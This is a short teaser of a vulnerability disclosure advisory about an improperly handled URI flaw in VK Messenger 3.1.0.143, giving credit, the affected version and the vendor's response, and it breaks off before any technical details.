The following describes a vulnerability in VK Messenger that is triggered via the exploitation of improperly handled URI.
VK (VKontakte; [..], meaning InContact) is “an online social media and social networking service. It is available in several languages. VK allows users to message each other publicly or privately, to create groups, public pages and events, share and tag images, audio and video, and to play browser-based games. It is based in Saint Petersburg, Russia”.
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Affected Version
VK Messenger version 3.1.0.143
Vendor Response
The vendor responded that the problem no longer affects the latest version – but didn’t provide any information on when it was fixed and whether it was fixed due to someone else reporting this vulnerability.
(more…)